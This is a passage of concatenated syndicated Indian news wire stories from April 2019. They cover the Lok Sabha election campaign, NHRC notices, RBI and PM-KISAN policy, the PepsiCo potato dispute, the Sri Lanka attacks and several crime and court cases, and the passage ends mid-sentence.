He added: "We need to break some records in Varanasi. I have always wished that a number of women voters' turnout will be more than men. I couldn't do this in Gujarat, but you can do it Varanasi. I have faith in you. "Kashi has been won. Kashi was won by the party and party workers on Thursday night. Now, the polling booths are the only thing left to be won in Kashi." Modi then visited the Kaal Bhairav temple and offered prayers. Varanasi will go to polls on May 19 in the last phase of elections. --IANS amita/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Congress on Friday questioned the presence of NDA alliance partners during the filing of nomination by Prime Minister Narendra Modi, saying the BJP's confidence had declined over the past five years. "The BJP has lost its confidence. Compare Modi's 2014 nomination with his 2019 nomination. This year, he invited all his alliance partners because the party is realising that it will not get a majority and may have to rely on its allies," said Congress spokesperson Rajeev Shukla. The Congress leader said that the PM was aware that his party was not doing well after the three phases of polling that covered 303 seats. "That's what forced him to appeal to the people to come out and vote for him," he said. Shukla claimed that the five years of the Modi government were marked by non-performance. "His was not a result-oriented government. He couldn't deliver on any promise he made in his 2014 campaign," he said. He also criticised Modi's Pradhan Mantri Adarsh Gram Yojana. "Modi had adopted four villages under the Pradhan Mantri Adarsh Gram Yojana, but an RTI query revealed that not a single penny was spent on the development of these villages," said Shukla. He added that in Varanasi too the condition of weavers had worsened over the past five years. --IANS amit/rtp/bg (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Narendra Modi on Friday launched a scathing attack on Madhya Pradesh Chief Minister Kamal Nath and the Congress party over the recovery of crores of rupees in income tax raids, saying that within six months of coming to power they gave birth to the massive "Tughlaq Road scam". "This is only the trailer, they have five years still with them," Modi said speaking at an election rally in support of the Bharatiya Janata Party (BJP) candidate for Jabalpur constituency, Rakesh Singh. "The Congress party had announced waiver of farm loans and unemployment allowance to jobless youth. But nothing was done. However, during this period, they ensured three things -- collapsing the law and order machinery, turning transfer and posting into a full-fledged business, and siphoning off the funds meant for providing nutrition to poor tribal children and pregnant women, which were recovered recently." Earlier, speaking at a public meeting in Sidhi parliamentary constituency of the state, the Prime Minister had alleged that the Chief Minister Kamal Nath-led Congress government in Madhya Pradesh gobbles up funds meant for tribal women and children. "The Congress government launches welfare schemes for the poor and farmers and then misappropriates funds for those programmes. Right from Delhi to Bhopal, corruption is the norm for the Congress party. But your 'chowkidar' is alert and he would spare none, be it top leaders or their confidants," he said. "The government of 'chowkidar' at the Centre sends funds to the state government to provide nutrition to the poor tribal children and pregnant women, so that they give birth to healthy babies. But despite the presence of an alert 'chowkidar', these audacious Congress politicians created 'Tughlaq Road scam'." The Prime Minister said that Tughlaq Road in Delhi is the address of top Congress leaders, and it is there that the money transported in gunny bags was seized. "The money for women and children was stolen and transported to Delhi, which the top Congress leaders used in electioneering," Modi alleged. Talking about the loan waiver scheme in Madhya Pradesh, he said: "They (Congress) made false promise of waiving farm loans...the loans haven't been waived yet, but they are lying and telling the whole nation that they waived loans... They are habitual liars." Accusing the state government of going back on its poll promise, Modi said: Today, the Madhya Pradesh government is presenting a trailer of Congress culture. One feels shaken to see the sins committed by them in the last six months in MP, Chhattisgarh and Rajasthan. These very people destroyed the country over the last 70 years." The first round of polls in the state will take place during the fourth phase of the general elections on April 29, when polling will be held in six parliamentary constituencies. --IANS hindi-nir/bg (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Narendra Modi on Friday attacked Madhya Pradesh Chief Minister Kamal Nath, alleging that the state's Congress government misappropriated funds meant for providing nutrition to poor children and pregnant women. Addressing an election rally in Sidhi parliamentary constituency, Modi said: "The Congress government launches welfare schemes for the poor and farmers and then misappropriates funds for those programmes. Right from Delhi to Bhopal, corruption is the norm the Congress party follows. But your 'chowkidar' is alert and he would spare none, be it top leaders or their confidants." "The government of 'chowkidar' at the Centre sends funds to the state government to provide nutrition to the poor tribal children and pregnant women, so that they give birth to healthy babies. But despite the presence of an alert 'chowkidar', these audacious lot of politicians created 'Tughlaq Road scam'." The Prime Minister said that Tughlaq Road in Delhi is the adress of top Congress leaders, and it is there that the money transported in gunny bags was seized. "The money for women and children was stolen and transported to Delhi, which the top Congress leader used in electioneering," Modi alleged. He also questioned the poll promise of bringing loan waiver scheme for farmers in Madhya Pradesh. "They (Congress) made false promise of waiving farm loans...the loans haven't been waived off, but they are lying and telling the whole nation that they waived loans... They are habitual liars." Accusing the state government of going back on its poll promise, Modi said: Today, the Madhya Pradesh government is presenting a trailer of Congress culture. One feels shaken to see the sin committed by them in the last six months in MP, Chhattisgarh and Rajasthan. These very people have destroyed the country over the last 70 years." The first round of polls in the state will take place during the fourth phase of general elections on April 29, when polling will take place in six parliamentary constituencies. --IANS hindi-nir/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Taking suo motu cognizance of a media report, the National Human Rights Commission (NHRC) on Friday issued notice to the West Bengal's Director General of Police seeking a detailed report within four weeks on the alleged police action in Howrah in which 20 persons, including the civic agency staff and lawyers, had received head injuries. It also sought a report on action taken against the "delinquent" police personnel and health status of the victims. Meanwhile, demanding action against the police personnel, the Bar Council of West Bengal observed black day throughout the state expressing solidarity with the lawyers of Howrah. Quoting media reports, a NHRC statement said the incident happened following the lawyers' face-off with the Howrah Municipal Corporation staff over parking. "It has observed that the contents of the news report, if true, raise serious issue of violation of human rights of the victims, who have sustained injuries in the incident. Apparently, the police personnel did not deal with the situation in a proper manner, which resulted in humiliation and physical injuries to the victims," the statement said. The incident was reportedly triggered after an elderly lawyer was allegedly turned away by the guard of the civic headquarters when he tried to park his vehicle in the civic agency's compound. Thereafter, the lawyers and the civic body staff fought for hours as many lawyers joined the protest against the guard. The civic staff, however, claimed that they were attacked first. Both sides threw stones and bricks at each other before the police intervened and chased away the lawyers. --IANS vv/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The National Human Rights Commission (NHRC) on Friday issued notice to Telangana government, seeking a detailed report on the goof-ups by the Board of Intermediate (BIE) resulting in failure of about three lakh students and suicide by 18. Taking suo moto cognizance of a media report that 18 students have committed suicide during last one week over failure in the Intermediate examinations, the Commission has issued a notice to the Chief Secretary, Government of Telangana calling for a detailed report in the matter within four weeks, including action taken against the guilty and relief, if any, provided to the aggrieved families. The panel took note of media reports that large-scale discrepancies by BIE has have triggered furore in the State. About three lakh students reportedly failed in the exams and the students and parents were staging protests. "It has been observed that the contents of the news reports, if true, raise the issues of serious lapses on the part of the authorities amounting to violation of human rights. A thorough probe into the matter is required not only to punish the guilty but to ensure that such incidents do not recur," the Commission said. According to the media reports, hundreds of students have failed to get even pass marks. The State Ministry, the Board and the government initially dismissed the allegations, but later gave in to the growing protests. The aggrieved students have also approached the High Court. The role of a private company, which was given the contract for processing the results, has come under the scanner. This work was being done earlier by the Centre for Good Governance which is a government agency. The Hyderabad-based private firm Globarena Technologies, who executed the work, was reportedly not competent enough to take up the job. The firm has, however, contended that it is capable of handling the task and that it had executed the contract, systematically. "As mentioned in the news report, around 10 lakh students took the class 12 exam in February 2018 and nearly 3.5 have failed, making it a gigantic task for the board to conduct supplementary exams for such a large number of students. The time is also running out for the students who have to appear in the entrance exams like in EAMCET, NEET and JEE etc," the Commission noted. --IANS ms/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Congress President Rahul Gandhi on Friday called NYAY scheme a surgical strike on poverty as he took a dig at Prime Minister Narendra Modi for growing employment in the country. "Under the Nyuntam Aay Yojana (NYAY), Rs 72,000 will be given annually to five crore families in the country. Poor states like Bihar and Odisha will get the benefits under the scheme. This is the surgical strike on poverty," said Gandhi while addressing an election rally in Balasore Lok Sabha constituency. This is the first election rally of Rahul Gandhi in Odisha after the declaration of poll dates. He also said NYAY scheme will help generating employment, which was affected by demonetisation and Goods and Services Tax (GST). Gandhi allayed fears that the middle class would have to bear the burden for the scheme. He said the scheme will be entirely funded with the "money looted by the industrialists like Nirav Modi, Mehul Choksi, who fled the country". Rahul attacked Modi for not talking about employment generation, farmer issue and corruption. "Modi carries teleprompter wherever he goes to deliver his speeches. He keeps getting orders not to talk about employment. He does not mention the Rs 15 lakh promised to remit into accounts of every poor Indian", said Gandhi. He said while Modi promised 2 crore jobs, but in reality, 27000 jobs are lost every 24 hours under his government. "There are 22 lakh government posts lying vacant. Once Congress comes to power, we will fill the vacancies and create 10 lakh jobs in panchayats," he added. Speaking on the farmers' plight, he said the Congress government would ensure that no farmer is sent to jail for defaulting on loans. He said Rs 2,600 would be provided on paddy per quintal in Odisha, once the party forms the government in the state. Elections are being held in four phases in Odisha. Odisha has 21 Lok Sabha and 147 Assembly seats. --IANS cd/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Reserve Bank of India (RBI) on Friday extended the "ombudsman scheme" for non-banking financial companies (NBFCs) to non deposit-taking NBFCs with asset size of at least Rs 100 crore. The decision comes after the central bank in its "Statement on Developmental and Regulatory Policies" released earlier this month after the monetary policy meet said that it has decided to extend the ambit of the ombudsman scheme. "The Reserve Bank of India today has extended the coverage of Ombudsman Scheme for Non-Banking Financial Companies (NBFCs), 2018 (the Scheme) to eligible Non Deposit Taking Non Banking Financial Companies (NBFC-NDs) having asset size of Rs 100 crore or above with customer interface," the RBI circular said. NBFC-Infrastructure Finance Companies (NBFC-IFC), core investment companies (CIC), infrastructure debt fund-non-banking financial company (IDFNBFC) and an NBFC under liquidation, are excluded from the ambit of the scheme. The scheme was launched on February 23, 2018 for redressal of complaints against NBFCs registered with RBI under Section 45-IA of the RBI Act, 1934 and covered all deposit accepting NBFCs to begin with. It provides a cost-free and expeditious complaint redressal mechanism relating to deficiency in the services by NBFCs covered under the scheme. The offices of the NBFC ombudsmen are functioning at four metro centres -- New Delhi, Mumbai, Kolkata and Chennai -- and handle complaints of customers in the respective zones. The scheme also provides for an appellate mechanism under which the complainant or the NBFC has the option to appeal against the decision of the ombudsman before the appellate authority. --IANS rrb/sn/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A day after his massive roadshow in this Uttar Pradesh temple city, Prime Minister Narendra Modi on Friday held a rally of booth workers, calling each one a Narendra Modi -- instilling in them confidence that the nation once more will vote for him. Ahead of his much anticipated filing of nomination as he seeks re-elction from Varanasi, Modi told thousands of party workers: "A pro-incumbency wave has been seen in country for the first time after independence. "People across the nation are saying... Fir Ek Baar...?" Modi prompted. "Modi Sarkar," the workers chanted back. "Earlier governments were formed, but in the past five years, people saw a government run. I never said I am Prime Minister and denied anybody a meeting. "I never refused to meet a single karyakarta (worker). I never let the Karyakarta in me die. I am aware of my duties as PM, as well as an MP." Several top BJP leaders and allies in the ruling National Democratic Alliance (NDA) were present to join in the show of strength when the Prime Minister heads to the election centre Bihar Chief Minister Nitish Kumar, Shiromani Akali Dal chief Parkash Singh Badal, Shiv Sena chief Uddhav Thackeray and Lok Janshakti Party chief Ram Vilas Paswan are expected to be present when the Prime Minister files his nomination, the BJP had said. Leaders of the AIADMK, the Apna Dal and the North-East Democratic Alliance will also be present, the BJP said. Modi will once again fight Ajay Rai of the Congress, who finished third in 2014. The Samajwadi Party and Mayawati's Bahujan Samaj Party have fielded Shalini Yadav, the daughter-in-law of a former Congress lawmaker. Modi had won from Varanasi by a huge margin, winning 5.8 lakh votes. The Aam Aadmi Party's Arvind Kejriwal came second with around two lakh votes. Ajay Rai was left with a mere 75,000 votes. Varanasi will vote on May 19 in the last round of the seven-phased poll. The counting of votes will take place on May 23. --IANS in (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Global beverages and food products giant PepsiCo India on Friday expressed its willingness for an out-of-court settlement with the potato growers of Gujarat whom it had dragged to the court for growing FL2027 or FC5 variety of potatoes, for which the company claims exclusive rights. The variety is used by PepsiCo in its popular chips brand Lay's. The company made the offer during a hearing at the Commercial Court of Ahmedabad. A PepsiCo spokesperson stated, "PepsiCo India has proposed to amicably settle with people who were unlawfully using seeds of its registered variety (FC5). PepsiCo has also proposed that they may become part of its collaborative potato farming programme, which will give them access to higher yields, enhanced quality, training in best-in-class practices and better prices." The company stated that if the farmers did not wish to join its potato farming, "they can simply sign an agreement and grow other available varieties of potatoes" but not this particular variety. PepsiCo added: "The company was compelled to take the judicial recourse as a last resort to safeguard the larger interest of thousands of farmers engaged with its collaborative potato farming programme. PepsiCo India remains deeply committed to resolving the matter and ensuring the adoption of the best farming practices." The firm had filed a law suit against four farmers from Vadali, the potato-growing belt in Sabarkantha district of North Gujarat, for violation of intellectual property rights of a plant variety registered by the company under the Protection of Plant Varieties and Farmers' Rights (PPV&FR) Act, 2001. The company had sought Rs 1 crore in 'estimated damages' from these farmers. The counsel for the farmers submitted that the company's proposal would be discussed and a reply be sent stating what they wanted to do. The farmers have sought time to file written responses. Meanwhile, a court stay on sowing and selling the said variety of potato would remain operational. The next hearing will be held on June 12. Earlier, a group of 192 farmer leaders, civil society representatives and activists had written to the Gujarat and the Central governments to intervene in support of the farmers. They also sought immediate withdrawal of cases against the farmers. -- IANS desai/arm (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The ambitious PM-KISAN scheme that aims to provide Rs 6,000 annually to small and marginal farmers will reach only 38 per cent of the intended beneficiaries by the end of ongoing Lok sabha polls, thanks to tardy furnishing of information by the states, lack of digitised land records and the election Model Code of Conduct being in force, according to government officials involved in its implementation. The scheme, announced in the interim budget on February 1 with retrospective effect from December 2018, was seen as Narendra Modi government's major poll plank to address rural distress.. Under the scheme, direct income support of Rs 6,000 per year in three equal installments is to be provided to about 12.5 crore small and marginal farmers with land holdings below two hectares or five acres. The officials cited delays in sharing of required information and its verification by the states and unavailability of digitised land records as major reasons for the scheme not reaching all the intended beneficiaries. So far, close to 3.5 crore (28 per cent) of the country's farmers have been given Rs 2,000 as the first instalment through the direct benefit transfer under Pradhan Mantri Kisan Samman Nidhi (PM KISAN), with Uttar Pradesh alone crossing the one crore mark. Barring Arunachal Pradesh, Delhi, Karnataka, Lakshawdeep, Madhya Pradesh, Meghalaya, Rajasthan, Sikkim and West Bengal, all the other 22 states and 5 union territories have either sent the names of the beneficiaries to the central government or are in process of doing so. Andhra Pradesh, Gujarat, Haryana, Punjab, Telangana, Tamil Nadu and Uttarakhand are among the states where the number of beneficiaries has touched the six-digit mark and yet, the majority of eligible farmers are still far from reaping the benefits of the scheme. Thus, a maximum of 4.76 crore (38 per cent) farmers will be able to get the second installment as the Agriculture Ministry has decided to process only those enrollments that happened till March 10, When the Model Code of Conduct came into effect with the announcement of the Lok Sabha elections, an official close to the development said. "We are going to verify the names enrolled till March 10. So there are 4.76 crore beneficiaries who are eligible will get the second installment," said an official. The second installment of Rs 2,000 is supposed to help farmers in procuring inputs such as seeds, fertilisers and pesticides, among others. The scheme is designed on the lines of Odisha government's KALIA and Telangana government's Rythu Bandhu schemes, under which farmers are assured of financial support of Rs 10,000 and Rs 8,000 per annum, respectively. The central scheme, which was seen as a gamechanger ahead of the Lok Sabha elections, seems to have lost steam after the Congress announced its 'Nyay' scheme to give Rs 6,000 monthly to the bottom 20 per cent population of around five crore families. The ruling BJP has promised extension of the PM KIASAN scheme to all farmers in the country if it is returned to power again after the Lok Sabha elections. The results of the seven-phased polls will be announed on May 23 (Saurabh Katkurwar can be contacted at saurabh.k@ians.in) --IANS spk/vm (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The previous BJP government in Madhya Pradesh, led by Shivraj Singh Chouhan, performed "poorly and underwhelmingly" on almost all governance parameters, including employment, healthcare facilities and agriculture infrastructure, according to a report by the Association for Democratic Reforms (ADR). The survey released on Friday was conducted between October and December 2018 in the state then ruled by the Bharatiya Janata Party (BJP), before it was replaced by the Congress in December last year. The Madhya Pradesh Survey Report 2018 stated that voters' priorities were neglected by the government. "This is quite clear from the fact that the government has performed poorly and underwhelmingly on all top ten governance issues as rated by the voters of Madhya Pradesh," said the ADR report. It said that employment, higher price realisation for farm products and better healthcare facilities were top priorities for voters and the government performed "below average" on all three. In rural areas, where another concern was availability of electricity for agriculture, the government scored 1.96 on a scale of 5 on employment, 1.81 on farm product prices and 1.81 on availability of electricity for agriculture, the report said. "In addition, the government has performed poorly on providing agriculture subsidy for seeds/ fertilisers (1.66 out of 5) and availability of water for agriculture (1.67) in rural Madhya Pradesh," it added. According to the survey, employment, healthcare and better roads were major concerns for urban voters. "The performance of the government on urban voters' priorities of better employment opportunities (1.88 on a scale of 5), better hospitals/ primary healthcare centres (1.85), and better law and order was rated as below average. "In addition, the government has performed poorly on better roads (1.88) and traffic congestion (1.96) in urban Madhya Pradesh," the report said. --IANS vv/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) North Korea presented the US a $2 million bill for the hospital care of Otto Warmbier, the American student who was held as a prisoner by Pyongyang, and insisted Washington to sign a pledge to pay it before releasing him in 2017, the media reported on Friday. The bill was handed to Joseph Yun, the former State Department Special Representative for North Korea who traveled to Pyongyang in June 2017 to bring Warmbier home, informed sources told CNN on Thursday. Warmbier was in a comatose state at the time of his release from North Korean custody and died a few days after returning to the US. Yun, who had orders from President Donald Trump to bring Warmbier home, signed the bill after informing then-Secretary of State Rex Tillerson about it. Tillerson then told Trump about the bill, the source said. The Trump administration has not paid this bill, another source familiar with the matter told CNN Thursday, adding that North Korea did not raise the issue as it sought to begin easing the tensions with the US in 2018 nor when Secretary of State Mike Pompeo negotiated the release of three Americans that same year. Earlier this month, at an event attended by Warmbier's family, Pompeo dismissed the idea of the US paying ransom for hostages. Reached by CNN on Thursday, Yun said he could not confirm the report because of the sensitive nature of the discussions. "I cannot confirm that... These are diplomatic exchanges and negotiations that I do not confirm." When contacted, White House press secretary Sarah Sanders said in a written response to CNN: "We do not comment on hostage negotiations, which is why they have been so successful during this administration." The State Department declined to comment and referred to Sanders' response. Warmbier was detained by North Korean officials in January 2016 while attempting to return to the US from a tour of the country. He was returned to his family "with severe brain damage and in a non-responsive state" on June 13, 2017, and died six days later. --IANS ksk (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) After days of recce in Romania, the makers of "Sadak 2" have decided to shoot the film in India. Actress Pooja Bhatt, who starred in the original 1991 film "Sadak" and will also be a part of the sequel, took to Twitter to share the reasons behind the change in the shooting locations. She said: "Romania is a stunningly beautiful country. We were very happy with the locations but logistics and emotional IQ of local crew are key factors in determining a location for a film. "Eventually no one is bigger than a film and the film demanded we shoot only in India." "Sadak 2" will see filmmaker Mahesh Bhatt back in the director's chair after almost twenty years. The film also features actors Alia Bhatt , Sanjay Dutt and Aditya Roy Kapur. --IANS sim/sug/bg (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Supreme Court on Friday stayed the proceedings of an inquiry commission probing the death of Tamil Nadu Chief Minister J. Jayalalithaa at Apollo Hospitals in Chennai in 2016. The hospital group had moved the apex court challenging a Madras High Court order, which allowed the Arumugasamy Commission to continue the probe. A bench headed by Chief Justice Ranjan Gogoi decided to stay further proceedings of the inquiry commission. The AIADMK-led Tamil Nadu government had commissioned the inquiry into the circumstances leading to the death of Jayalalithaa on December 5, 2016. The petition filed by the hospitals group said: "Thirty-two doctors of the team treating the late Chief Minister were summoned to depose before the Commission... "(They) were badgered, humiliated and jointly filed an affidavit before the Madras High Court highlighting the impropriety of the proceedings before the Commission." The counsel for the hospital contended that its reputation has suffered severely as a result of the ongoing probe. "The Commission was conducting the proceedings in an unfair, prejudicial and biased manner which was fortified by the fact that the orders/minutes of proceedings were specifically being leaked...," said the Apollo Hospital petition. The petition also said that the Madras High Court erred in not recognising the fact that the case of inquiry involved complex medical issues, which is beyond the scope of comprehension of the Commission, as it is not equipped to determine either the circumstances under which the treatment, as opted for, was administered, or even the correctness of the treatment. The judicial inquiry was ordered by the K. Palaniswami government seven months after the Chief Minister's death. Suspicion on the death of Jayalalithaa was fuelled by Deputy Chief Minister O. Panneerselvam. He said that he was not allowed to see her in the hospital and there was something suspicious about the circumstances around her death. Panneerselvam later cracked a deal with his successor Chief Minister Palaniswami on the merger of his faction with the AIADMK and was brought on board as Deputy Chief Minister. A pre-condition to this merger was a full-fledged inquiry into Jayalalithaa death. The Commission was seen as a political tool to target V.K. Sasikala, the now jailed AIADMK matriarch's long-time aide. She had unlimited access to Jayalalithaa at the hospital. The Commission, headed by a retired high court judge, was supposed to complete the inquiry within three months but it could not and it is still in progress. The Apollo hospital halfway through the inquiry said that a 21-member expert medical board be constituted to impart knowledge on medical procedures and protocols of the treatment to the panel. The hospital had moved the Madras High Court, seeking a stay on the panel's proceedings, and the inquiry shall only begin post constitution of the medial board. The High Court dismissed its plea and also rejected the argument that a retired judge was not competent to deal with medical complexities involved in the treatment of Jayalalithaa. Although the High Court observed that the Commission's procedures seemed strange, it also observed that some averments made on behalf of the Commission were disturbing and unwarranted. --IANS ss/in/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Sri Lankan Prime Minister Ranil Wickremesinghe on Friday apologized to the nation for the failure to protect victims from Sunday's explosions which killed 253 people and injured over 500. In a statement on his official Twitter account, Wickremesinghe said: "We take collective responsibility and apologize to our fellow citizens for our failure to protect victims of these tragic events. "We pledge to rebuild our churches, revive our economy, and take all measures to prevent terrorism, with the support of the international community," Xinhua news agency quoted him as saying. A day after the attacks, Wickremesinghe said the police had received prior information of possible terror attacks but had failed to take adequate measures against the threats. Wickremesinghe said he and his cabinet of ministers had not been informed of the prior threats. President Maithripala Sirisena, in a media briefing on Friday morning, told journalists that Defense Secretary Hemasiri Fernando and Police Chief Pujith Jayasundara had received prior warnings from state intelligence over possible attacks but had failed to brief him as well. He blamed both officials for severely neglecting their duties. Fernando resigned from his post on Thursday following a request by the president. The President has requested the police chief to resign as well. --IANS mr/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Sri Lanka's special forces were engaged in a severe gun battle with suspected terrorists in Kalmunai city, in the Eastern Province on Friday evening, the military said. In a statement, the army said a combined team of security forces including the Army came under fire when they were proceeding to search a suspicious location, which produces suicide bomb kits and explosives, reports Xinhu news agency. A group of five to six terrorists began firing at them, when the forces were approaching. The military said a shootout was underway. According to local media, immediate curfew has been imposed in Kalmunai and surrounding areas. Earlier on Friday evening, the military said security forces recovered flags belonging to Islamic State, literature and some other objects from a house in the Ampara distict, also in the east, which is said to be the terrorist organization's place for "oath-taking". --IANS prs/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) At least two employees sustained minor injuries in an explosion followed by a fire at the Tata Steel Europe's Port Talbot plant in the UK, an official said here on Friday. The incident happened when spillage of hot metal resulted in the explosion and a blaze in the plant in Wales. In an earlier tweet, the company said there was a spillage of liquid iron while it was being transferred to the steel plant leading to the incident. All emergency services were immediately deployed into action and the conflagration was extinguished. "Two of our employees sustained minor injuries and all employees have been accounted for. All necessary assistance and medical care is being provided to ensure quick recovery," said a Tata Steel statement. Meanwhile, a full investigation by concerned authorities is underway to assess the damage to the plant and its potential impact. --IANS qn/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Kerala Chief Minister Pinarayi Vijayan on Friday took strong exception to Prime Minister Narendra Modi's allegation that BJP workers did not know if they will return safely once they leave their home. Vijayan was responding through his Facebook post hours after Modi told supporters in Varanasi that BJP workers in Kerala, unlike those in Uttar Pradesh, were not that fortunate as none is sure that if they can return home safe without being attacked. "I wish to ask the PM on what basis has he said that BJP workers are not safe in Kerala? Wish to know which BJP worker in Kerala is not sure if he will return home once he goes out," asked Vijayan, a leader of the Communist Party of India-Marxist (CPI-M). "Such a statement coming from the PM is untenable. What he should realize is that even the Crime Records Bureau, the Centre's agency, has rated Kerala as the safest place and the best one in maintaining law and order," he said. "So at least, before making such statements, he should have at least checked on facts. What he did is not acceptable and we express our protest," added Vijayan. "It's common knowledge that Sangh Parivar forces who indulge in violence get special protection in certain other states but in Kerala there are no such special rules for Sangh Parivar forces as the rule of law is the same here. "All who indulge in violence will be taken to task," added Vijayan. --IANS sg/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) All I Want for Christmas is You Mary, Did You Know? Oh, Holy Night O Little Town of Bethlehem What Child is This? The Little Drummer Boy White Christmas Ill Be Home For Christmas Have Yourself a Merry Little Christmas Frosty the Snowman Jingle Bells Its the Most Wonderful Time of the Year Let It Snow! Let It Snow! Let It Snow! Rockin Around the Christmas Tree Vote View Results Four men, accused of abducting a manager of a call centre here and demanding a ransom of Rs 10 lakh for his release, have been arrested, police said Friday. About 15 to 16 men had abducted Paritosh, a manager at Metro Infosolutions in Sector-63, on the intervening night of April 18 and 19, after which the call centre's owner approached the police, a senior official said. During investigation, police found that it was not a simple abduction case and the complainant had hid some financial dealings involving the key accused, Senior Superintendent of Police, Gautam Buddh Nagar, Vaibhav Krishna, said. "The kidnappers had demanded a ransom of Rs 10 lakh and asked the call centre's owner, Vaibhav Bansal, and an employee Akash Shrivastav to give it to them outside AIIMS, Delhi, if they wanted to secure Paritosh's release," he said. The SSP said Arun Yadav and Surya Singh, residents of Ghaziabad, Sunil Tanwar from Baghpat and Vipin Bhati from Greater Noida have been arrested. Krishna said during the probe it emerged that Akash had earlier worked with the key accused, Yadav, at a fake call centre, which was shut after police action, and owed him a share of USD 25,000 that they had made fraudulently. "It was this money which they had demanded from Akash, who had told them he does not have this amount but can get it arranged from Delhi.The accused had abducted the manager to build pressure on him and asked Akash to meet them at AIIMS with the money, he told reporters. "However, police reached the spot on the same night and laid a trap at the site, knowing which the abductors fled leaving Paritosh behind," Krishna said. The four accused were held on Thursday from Parthala square in Greater Noida and the two cars used for abduction were also recovered, he said. Around a dozen other men were involved in the abduction and five of them have been identified by police and search is on for them, the SSP said. Those arrested have been booked under Indian Penal Code section 364A (kidnapping for ransom) and remanded in judicial custody, the police said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In a rare judgement, a CBI court here Friday awarded life imprisonment to six people, including a bank official, for fraudulently obtaining credit facility of over Rs 2.5 crore from Bank of India between 2000 and 2003. Special judge S R Tamboli awarded the life sentence to Bhagwanji Joshi, the then AGM of Bank of India's Mandvi branch, borrowers Manohar Lal Ahuja and his son Amit, and three others, Mahesh Bohra, Sandesh Nage and Shanti Lal Chauhan, who had played a role in forging documents. The judge held the accused guilty under IPC sections 420 (cheating), 467 (forgery of valuable security), and 120 B (criminal conspiracy), as well as under the Prevention of Corruption Act. While passing the order, judge Tamboli observed that three of the accused were habitual offenders and had cheated various nationalised banks. All have committed an economic offence detrimental to the financial health of the country, he added. According to the prosecution, Manohar and his son Amit had availed various credit facilities from Bank of India by forging documents between 2000 and 2003 for running a partnership firm. These, amounting to Rs 2.5 crore, were in form of cash and letter of credits. The accused had submitted existing stock of the company in a warehouse as well as a plot in Versova as security. As per the prosecution, the accused did not use the money for business purposes but siphoned it off and used it for personal gain. The matter came to light in 2004 when the accused stopped paying the loan instalments and it turned into an NPA, following which the bank lodged a case with the CBI. An investigation revealed that the stock in the warehouse which was presented to the bank as security was non-existent, while the borrowers came up with an excuse that the stock was destroyed. The probe also found that the property they had mortgaged was non-existent as well. Two of the accused, Mahesh Bohra and Sandesh Nage, had prepared a forged document to show that the property was purchased from one Mohanlal. However, during the probe it was revealed that there was no one called Mohanlal, and that another accused Shanti Lal Chauhan had misrepresented himself as "Mohanlal" and also forged his signature. The relevant property actually belonged to Anushia Shah, who had given it to the government to create a joggers' park. The court found that bank official Bhagwanji Joshi was not vigilant enough and sanctioned the loan without verifying the credentials of the borrowers. Advocate Yunus Memon, who had created a title search report of the Versova property, calling it good and marketable, and had said that the bank could mortgage it, was also sentenced to three years in jail. As many as 39 witnesses, including bank officials, were examined during the trial, public prosecutor Jitendra Sharma said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Mizoram police deported eight young Rohingya women, suspected to be victims of human trafficking, to neighbouring Assam on Friday after they were arrested near the border of the two states in Kolasib district a day ago, police said. The women, aged between 18-22, were arrested at the Vairengte police checkpoint on the Mizoram-Assam border while trying to enter the state without any valid travel documents on Thursday, the police said. The eight women were produced before a fast-track court, which fined them Rs 50 each and ordered that they should be pushed back to Assam. The state police handed them to the Young Muslim Association (YMA) of Bagha town in Assam's Cachar district. The women have been identified as Toyabah Begum, Tasim, Noorkayash, Atariza, Swaminara Begum, Rubina, Sanwara Begum and Serkhu. The women said they were from the Kutupalong refugee camp in Bangladesh's Cox's Bazar. They claimed that they were shopping at a market last Friday when a group of men abducted them. The Rohingya were taken away in a truck and brought to Silchar, the district headquarters of Cachar district. The women said they were transported for Aizawl, where they were supposed to handed over to some people near a petrol pump at Zemabawk locality by the driver. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Australia's counter-terrorism officers on Friday arrested two persons including a woman during an operation near a church here. A Victoria Police spokesperson, however, said that there was "no current or impending threat to the community". "The Joint Counter Terrorism Team (JCTT) Melbourne can confirm it is conducting operational activity in North Melbourne today (Friday)," the official said. Two two people were "assisting with inquiries", he said. The man was taken away after being placed in a white forensic suit while the woman was also cuffed and arrested, Australian website com.au reported. The heavily-armed officers, some carrying machine guns, were seen outside St Mary's Anglican Church about 1:30 PM (local time), according to ABC The Australian Federal Police confirmed that the JCTT was conducting "operational activity" in North Melbourne without giving further details. On March 15, a self-styled white supremacist killed 50 people and injured as many others in two Christchurch mosques, the deadliest mass shootings in modern New Zealand history. The 28-year-old accused was arrested charged with murder. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Aviation regulator has initiated a probe into the incident of the plane carrying Congress President suffering engine trouble, a senior official said. The plane on way to Patna was forced to return to Delhi on Friday after experiencing "engine trouble". The senior Directorate General of Civil Aviation (DGCA) official said the Hawker 850 XP aircraft VT-KNB returned back to Delhi after take-off due to a technical snag. " has initiated investigation as per the laid down procedure," he told PTI. The aircraft landed safely in Delhi at 1020 hours. There were ten person on board including two crew members, the official said. On Twitter, Gandhi posted a video of the flight which shows him, the pilot and the co-pilot in the plane. "Engine trouble on our flight to Patna today! We've been forced to return to Delhi," he tweeted. Prime Minister Narendra Modi 